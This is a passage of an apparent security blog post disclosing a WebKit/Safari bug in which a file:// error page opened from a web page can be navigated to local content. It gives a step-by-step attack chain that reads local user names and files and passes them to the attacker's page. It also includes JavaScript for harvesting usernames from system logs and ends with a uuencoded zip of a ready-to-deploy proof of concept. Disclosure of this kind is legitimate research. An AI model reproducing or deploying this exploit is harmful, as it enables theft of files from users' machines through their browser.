Click on the link and you will get the following error in the Javascript console:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="color: #ff201a; font: 11.0px Menlo; margin: 0.0px 0.0px 0.0px 0.0px; text-align: center;">
Not allowed to load local resource: <a href="file:///tmp/foo.html"><span style="color: #545454; text-decoration: underline;">file:///tmp/foo.html</span></a></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Sometimes remote-to-remote turns into remote-to-local:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
I noticed something interesting occurs when trying to load a web page that doesn't exist, cannot be reached, or any other action that results in an internally generated page being displayed. The page is loaded from a file on disk and the current window location points at a "file:///" URL. For example, execute the following javascript from a web page:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="color: #ff3138; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; text-align: center;">
<i>var x = window.open("http://www.thisisamadeupdomain4321.com:9876","bogusWin")</i></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; text-align: center;">
After the page load fails, the Safari error page is displayed:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimcftWICfgRkeLj5VIUmh8Ej2Ffj7AcuZcVJsM-hnJ_Krlescdbx9T34eSe28ayVyTKcJCSTdlez0t8G_6JvWsa8_6hGz-i6PakIBORr0e_NDTgi5kZfVnkU5mcmvS3_xFFfDarkE3CFU/s1600/errormessage.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="97" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimcftWICfgRkeLj5VIUmh8Ej2Ffj7AcuZcVJsM-hnJ_Krlescdbx9T34eSe28ayVyTKcJCSTdlez0t8G_6JvWsa8_6hGz-i6PakIBORr0e_NDTgi5kZfVnkU5mcmvS3_xFFfDarkE3CFU/s640/errormessage.jpg" width="640" /></a></div>
<br /></div>
<div style="font: 16.0px Times; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 19.0px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfSdYRxsMPmAddC8-1ZFKBOs4_l6vtHslHAgLJwtphSe8NAc4QHUuhmbC_nMd4RzwAU73NpS94jk_o5bPx18VyuXVe6QabyS3dwLXAqJfGCEhZqqFU_tPDMMixjiPo-CKS1tHIrXImkL8/s1600/errorlocationdialog.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfSdYRxsMPmAddC8-1ZFKBOs4_l6vtHslHAgLJwtphSe8NAc4QHUuhmbC_nMd4RzwAU73NpS94jk_o5bPx18VyuXVe6QabyS3dwLXAqJfGCEhZqqFU_tPDMMixjiPo-CKS1tHIrXImkL8/s320/errorlocationdialog.jpg" width="320" /></a></div>
<br /></div>
<div style="font: 16.0px Times; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 19.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Because of how Safari displays its error pages, we now have a window in the local "file:///" zone, but triggered by a load of an "http://" URL. </div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Exploiting this behavior:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
The vulnerability exists in the fact that this window, with full access to the "file:///" URLs, can be navigated by its parent window, when it should be blocked by a security check. We can navigate this child window by setting <span style="color: #ff3138;">x.window.location</span>, and can set it to any URL including those in "file:///". All we need in order to exploit it is some malicious HTML to point at using a "file:///" URL. </div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
There are numerous ways to get a local path to point at remotely originating payload content. It's a little silly, but here's what I did. This proved to be reliable enough for a proof of concept that works with the default configuration of Safari on Mac OS X:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
1. When you launch the proof of concept by clicking the submit button on thing.html, we start by mounting a disk image with our local payload</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
2. If you have the default Safari settings, Mac OS X will mount the disk image in /Volumes/poc</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
3. We then attempt to load http://127.0.0.1:7/ in a new window. Since port 7 (tcp echo) is on the port block list, an error page in the "file://" zone is loaded</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
4. We then tell the window that is displaying this error page that it should load a different file, /Volumes/poc/ds.html. The fact that we can do this is the bug itself</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
5. Safari loads the Javascript in ds.html in the local zone. The Javascript opens a SQLite3 file, /var/db/dslocal/indices/Default/index, because it contains the names of local users</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
6. We use Javascript to rip some usersnames from the SQLite3 database file using a regular expression, and then attempt to access the target file in each of their accounts</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
7. File contents (if we have the right user) and usernames are communicated back to the parent window using postMessage (direct communications between the windows)</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Some questions and answers about this bug:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
1. Does the pop-up blocker stop this bug? </div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
No.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
2. What if I changed my preferences so that 'Open "safe" files' is not selected? Am I safe against this?</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
No. The slightly more technical explanation for this answer is that my proof of concept is using a disk image just to get malicious content at a known local path. There are a lot of other ways to accomplish this task. For example, my original proof of concept used an "ftp://" URL, and triggered Finder.app to automatically mount the site in /Volumes. I felt like setting up a public FTP server was a bit of a hassle so I switched to this easy and portable version. There are also less obvious ways to do this, including methods that involve no user-visible clues that a malicious file is now accessible through a "file://" path.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
3. Will the Mac OS X file quarantine feature stop this exploit?</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
No. While we're using a disk image that came from Safari and this file is therefore quarantined, we are not launching our payload. Instead we are loading it from an active HTML document that has already been loaded into the "file://" zone.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
4. Your proof of concept did not work for me. Does that mean I am not vulnerable?</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
No. In the proof of concept I'm basically grepping a binary SQLite3 database file with Javascript. I am going to assume this isn't a terribly portable way of grabbing usernames. There are a bunch of other ways we could get the username of our visitor. For example, my original version of this proof of concept used a rather simple method of gathering usernames by parsing monthly.out. The monthly.out file is generated once a month and contains active usernames as part of system accounting. I got annoyed that my proof of concept wouldn't work on a fresh system, so I switched to the new method. Here's how I was grabbing usernames from the monthly.out file:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
function process_log(monthlog) {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
var gathered_users=new Array();</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
var line_pos = 0;</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
var in_block = 0;</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
var month_lines = monthlog.split("\n");</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
for (line_pos=0;line_pos<=month_lines.length-1;line_pos++) {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
if (month_lines[line_pos] == "Doing login accounting:") {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
in_block=1;</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
} else if (in_block==1 && month_lines[line_pos] == "") {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
in_block=0;</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
} else if (in_block) {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
var user_line = month_lines[line_pos].split(/[\t ]/);</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
if (user_line[1].length>0 && user_line[1] != "total") {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
// user_line[1] is a potential username</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
gathered_users[user_line[1]]=1;</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
}</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
}</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
}</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
var victim = "";</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
for (victim in gathered_users) {</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
do_something_bad(victim);</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
}</div>
<div style="color: #494ff5; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
}</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
[Note: I apologize about how gross that Javascript is, but I figured someone might have a use for it. You can replace the proof of concept i posted to use this one pretty easily.]</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
5. Will this work on Windows?</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Good question. I suspect that it will, and that using a UNC path you might be able to point at remote files for your payload. However I have not had a chance to test this. If you have a test system and a moment to port this to Windows, I'd appreciate it if you would post a comment. I'd also like to know if you can launch programs from this local window by using document.location or by loading a JAR in the "file://" zone. That could be interesting.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
6. Is Safari the only browser affected?</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
No. Safari is the only browser that this proof of concept was designed to work with, but the bug itself is in WebKit and affects other WebKit-based browsers. If you are testing your WebKit-based browser, remember that if you use a different URL scheme for things like these error pages, you may need to modify the test case to attempt to access resources using that scheme instead of "file://".</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>The proof-of-concept:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br />
<div style="text-align: center;">
You should be able to uudecode this into a zip, that is ready to be dropped in a path</div>
<div style="text-align: center;">
in your web server.</div>
<div style="text-align: center;">
<br /></div>
</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<center>
<textarea cols="50" rows="10">
begin 644 errorjacking.zip
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
